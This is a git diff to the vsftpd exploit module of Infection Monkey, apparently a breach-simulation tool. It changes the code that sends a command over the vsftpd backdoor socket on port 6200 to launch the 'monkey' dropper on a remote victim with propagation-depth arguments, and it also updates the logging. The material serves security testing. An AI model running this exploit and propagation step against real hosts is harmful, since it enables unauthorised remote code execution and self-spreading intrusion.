diff --git a/monkey/infection_monkey/exploit/vsftpd.py b/monkey/infection_monkey/exploit/vsftpd.py index c66c2b15a..11a5b3297 100644 --- a/monkey/infection_monkey/exploit/vsftpd.py +++ b/monkey/infection_monkey/exploit/vsftpd.py @@ -106,13 +106,16 @@ class VSFTPDExploiter(HostExploiter): backdoor_socket.send(command) - #run the monkey + #run the monkey + cmdline = "%s %s" % (self._config.dropper_target_path_linux, MONKEY_ARG) + cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1) + cmdline += "&" - LOG.info('[+] Connected to backdoor on %s:6200 to execute our command' , self.host.ip_addr) - - command = str.encode("/tmp/monkey " + '\n') + command = str.encode(str(cmdline) + '\n') backdoor_socket.send(command) - LOG.info("Successfully ran monkey on the next box \n") + LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", + self._config.dropper_target_path_linux, self.host, cmdline) + backdoor_socket.close() self._exploit_info['Vulnerability'] = {"Success":"True"}